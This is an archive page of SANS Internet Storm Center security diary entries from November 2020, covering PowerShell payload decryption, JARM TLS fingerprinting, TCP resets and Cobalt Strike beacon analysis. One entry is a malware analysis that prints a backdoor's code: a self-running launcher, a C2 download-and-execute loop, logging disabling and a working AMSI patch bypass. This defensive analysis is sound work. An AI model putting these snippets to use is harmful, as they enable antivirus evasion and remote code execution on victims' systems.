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Archive for November, 2020

Decrypting PowerShell Payloads (video), (Mon, Nov 30th)

PowerShell scripts are often used to deliver malicious payloads: shellcode, another PowerShell script, reflective DLL, …

And you’ve probably encountered malicious scripts with an encrypted payload, for example encrypted with AES.

In a video I created, I show how to decrypt a typical encrypted payload with my tools base64dump and translate.

The command I use in the video is:

base64dump.py -n 20 -s 2 -d example.ps1.vir | translate.py -e “keybase64 = b’zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ='” -s decrypt.py -f “Decrypt” | translate.py -f “GzipD”

The content of decrypt.py I use in the video is here:

from Crypto.Cipher import AES
from Crypto.Util import Padding

def Decrypt(data):
    iv = data[0:16]
    ciphertext = data[16:]
    key = binascii.a2b_base64(keybase64)
    oAES = AES.new(key, AES.MODE_CBC, iv)
    return Padding.unpad(oAES.decrypt(ciphertext), 16)

This small script uses crypto functions from pycryptodome.

If you want to try for yourself, I shared the example PowerShell script on pastebin.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Quick Tip: Using JARM With a SOCKS Proxy, (Sun, Nov 29th)

Rik talked about JARM yesterday “Threat Hunting with JARM“.

JARM is a tool to fingerprint TLS servers.

I made some changes to the JARM code to support a SOCKS proxy.

Now I can use JARM over Tor, for example:

You will miss information when you use a SOCKS proxy: the resolved IP, in case you use a domain name.

And on Linux, there are other methods to achieve this.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Threat Hunting with JARM, (Fri, Nov 27th)

Recently I have been testing a new tool created by the people at Salesforce.  The tool is called JARM and what it does is query TLS instances (HTTPS servers and services) to create a fingerprint of their TLS configuration.  Much like analyzing the nuances of network traffic can be used to fingerprint the operating system and version of a server, JARM fingerprints TLS instances  to create a fingerprint which can be used to compare one TLS service to another.

The JARM repository on github provides two executable files.  The first jarm.py can be used to create a fingerprint for any TLS enabled service. The second jarm.sh is used to automate a JARM scan across a range of IPs.  For example the fingerprint for isc.sans.edu can be generated as follows:

$ python3 jarm.py isc.sans.edu
Domain: isc.sans.edu
Resolved IP: 45.60.103.34
JARM: 29d29d00029d29d00041d41d0000005d86ccb1a0567e012264097a0315d7a7

JARM can be used for a number of purposes.  As the Salesforce blog post says:

“JARM fingerprints can be used to:

  • Quickly verify that all servers in a group have the same TLS configuration.
  • Group disparate servers on the internet by configuration, identifying that a server may belong to Google vs. Salesforce vs. Apple, for example.
  • Identify default applications or infrastructure.
  • Identify malware command and control infrastructure and other malicious servers on the Internet.”

Shodan has integrated JARM and has generated JARM fingerprints for all TLS instances they have discovered and integrated them into a Shodan facet.  You can query Shodan’s JARM results from the Shodan web tool, or from any Linux with Python installed you can use the Shodan command line, or use the Shodan API, to query fingerprints

So how can this be used to detect malware deployments?  Well it turns out that the when malware deploys a TLS enabled service the fingerprints tend to stay the same across multiple deployments.  The JARM developers have given us the fingerprints for a number of common malware families.

Using this information you could create a script to run across your address space and compare the computed fingerprints to the known malware fingerprints or you could just use Shodan to do this comparison.  In this example below I am using the Shodan command line to query the JARM results for AS209 and comparing the result to the fingerprint for Cobalt Strike (a red team tool often dropped by emotet and other malware onto compromised servers).

$ shodan search asn:as209 ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

184.99.37.107  443       HTTP/1.1 403 ForbiddenrnContent-Length: 310rnContent-Type: text/htmlrnConnection: Closernrn
71.37.172.120  443   71-37-172-120.lsv2.qwest.net  HTTP/1.1 403 ForbiddenrnContent-Length: 316rnContent-Type: text/htmlrnConnection: Closernrn
71.37.172.123  443   71-37-172-123.lsv2.qwest.net  HTTP/1.1 403 ForbiddenrnContent-Length: 316rnContent-Type: text/htmlrnConnection: Closernrn
97.122.203.173 443   97-122-203-173.hlrn.qwest.net  HTTP/1.1 403 ForbiddenrnContent-Length: 303rnContent-Type: text/htmlrnConnection: Closernrn
174.16.120.233 443   174-16-120-233.hlrn.qwest.net  HTTP/1.1 403 ForbiddenrnContent-Length: 309rnContent-Type: text/htmlrnConnection: Closernrn
65.144.105.2  443   mail.strataproducts.com HTTP/1.1 403 ForbiddenrnContent-Length: 314rnContent-Type: text/htmlrnConnection: Closernrn
65.144.105.6  443       HTTP/1.1 200 OKrnCache-Control: privaternContent-Type: text/html; charset=utf-8rnServer: Microsoft-IIS/7.5rnSet-Cookie: ASP.NET_SessionId=vpxjjrrzezdnobjeacvfff45; path=/; HttpOnlyrnX-AspNet-Version: 2.0.50727rnX-Powered-By: ASP.NETrnDate: Sun, 22 Nov 2020 02:31:11 GMTrnContent-Length: 47074rnrn
65.144.7.67   443       HTTP/1.1 403 ForbiddenrnContent-Length: 352rnContent-Type: text/htmlrnConnection: Closernrn
71.222.37.196  443   71-222-37-196.lsv2.qwest.net  HTTP/1.1 403 ForbiddenrnContent-Length: 316rnContent-Type: text/htmlrnConnection: Closernrn

I have to believe there have to be some false positives in the results, but it gives you a  place to start.

For more information on JARM, please check out the Salesforce JARM blog post 

For downloading, JARM can be found on github.
 

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – http://namedeplume.blogspot.com/ – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Live Patching Windows API Calls Using PowerShell, (Wed, Nov 25th)

It’s amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: “to make it NOT work”). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.

The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it’s a “bat” command line script and a PowerShell script at the same time:

# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%System32WindowsPowerShellv1.0powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B

The environment variable ‘%~f0’ will expand to the complete path of the script (ex: “C:Tempmalicious.bat”). It is passed to PowerShell which will ignore the first line (starting with the ‘#’). The script will be deleted once PowerShell completed. Note, ‘%~dp0’ will expand to the drive letter and path of that batch file.

The script itself is obfuscated inside a Base64-encoded string. First, it’s a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:

It requires a specific User-Agent:

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$eBdd.HEadeRS.ADd('User-Agent',$u);

It tries to connect through the proxy configured in the system:

$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY;
$ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;

A cookie is required:

$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");

The C2 address is obfuscated:

$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA=')));
$t='/admin/get.php';
$daTa=$eBdD.DoWnLoadDaTA($seR+$T);

The C2 server is hxxp://%%ip:3.128.107.74%%:15430/admin/get.php.

Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)

$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b');
$R={
    $D,$K=$ARgS;$S=0..255;0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;
        $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
        $_-bXOr$S[($S[$I]+$S[$H])%256]
    }
};

$Iv=$daTa[0..3];
$DAtA=$data[4..$DAtA.lenGtH];
-JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX

But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.

First, it tries to disable ScriptBlockLogging[2]:

$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW();
$Val.AdD('EnableScriptB'+'lockLogging',0);
$VAl.AdD('EnableScriptBlockInvocationLogging',0);
$b399['HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptB'+'lockLogging']=$vaL

Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:

$MethodDefinition = "
  [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); 

Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress(). 

Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or ‘PAGE_EXECUTE_READWRITE’)

Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.

This suite of bytes is the following code:

0x0000000000000000:  B8 57 00 07 80    mov eax, 0x80070057
0x0000000000000005:  C3                ret 

The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is ‘E_INVALIDARG’. Then, the function immediately returns to the caller with the ‘ret’ instruction. This technique implements the bypass of the antivirus scan…

As I said, this technique is not new and has already been discussed previously (around 2019) but it’s interesting to see how attackers re-use always and always good old techniques.

The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?

$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php
*   Trying 3[.]128[.]107[.]74...
* TCP_NODELAY set
* Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0)
> GET /admin/get.php HTTP/1.1
> Host: 3[.]128[.]107[.]74:15430
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
> Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=
>
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
Protocol mismatch.
* Closing connection 0

[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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The special case of TCP RST, (Tue, Nov 24th)

In TCP, packets with the “Reset” (RST or R) flag are sent to abort a connection. Probably the most common reason you are seeing this is that an SYN packet is sent to a closed port.

But RST packets may be sent in other cases to indicate that a connection should be closed. 

Lets first look at the reset in response to an SYN to a closed port:

IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto TCP (6), length 64)
    192.0.2.1.65007 > 192.0.2.2.81: Flags [S], seq 3972116176, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 447631150 ecr 0,sackOK,eol], length 0
16:24:59.928936 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.0.2.2.81 > 192.0.2.1.65007: Flags [R.], seq 0, ack 3972116177, win 0, length 0

Interesting here: The sequence number of the RST packet is 0. If you are looking at “unusually frequent” sequence numbers, “0” may show up at the top if you had a lot of failed connections that resulted in resets.

For an RST in response to an SYN, the sequence number is not really used. This is the first packet arriving from that source, and no further packets will be sent. Also, there is nothing to acknowledge. So the sequence number, if there is one, would be ignored and as a result, the few operating systems I tested (BSD, macOS, Linux, Windows 10) all use a sequence number of 0.

Could this be used to help with spoofing TCP Resets? Not really. As there is no initial sequence number yet, the RST sequence number wouldn’t add anything.

A second issue that sometimes causes confusion: RST packets with payload

IP (tos 0x0, ttl 64, id 49111, offset 0, flags [DF], proto TCP (6), length 51)
    192.0.2.43.37444 > 10.0.28.20.25: Flags [R.], seq 1:12, ack 1, win 57352, length 11 [RST 220 mailgat]

The RST packet above has a payload length of 11 bytes. tcpdump is nice enough to display the payload with a “RST” prefix. The actual payload here was “220 mailgat“. This behavior is typical for security devices (the trace above is a bit old, but I believe the RST was created by a Cisco IPS at the time). The idea is that the payload will provide more information about why the IPS (and in some cases firewall) sent the RST. Someone once told me that there is an RFC describing this behaviour, but I haven’t found it yet (if you know: please comment 😉 ).


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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Quick Tip: Cobalt Strike Beacon Analysis, (Mon, Nov 23rd)

Several of our handlers, like Brad and Renato, have written diary entries about malware infections that involved the red team framework Cobalt Strike.

In this diary entry, I’ll show you how you can quickly extract the configuration of Cobalt Strike beacons mentioned in these 2 diary entries:

  1. Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike
  2. Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike

The configuration of a beacon is stored as an encoded table of type-length-value records. There are a couple of tools to analyze Cobalt Strike beacons, and I recently made my own tool 1768.py public.

The analysis of the sample that Brad mentioned in his diary entry (1) is simple:

In the screenshot above, you can see all the records of the decoded configuration of this sample. Records that you might be most interested in as an analyst, are the server record, the port record and the URL used with GET and POST (highlighted in red).

In Renato’s diary entry (2), there are 2 artifacts to analyze.

There’s the shellcode: Renato explained how to deal with the different layers of obfuscation of this shellcode.

Here I use different of my tools to deobfuscate the shellcode, and then pass it on to my 1768.py tool:

The payload downloaded by this shellcode is easy to analyze:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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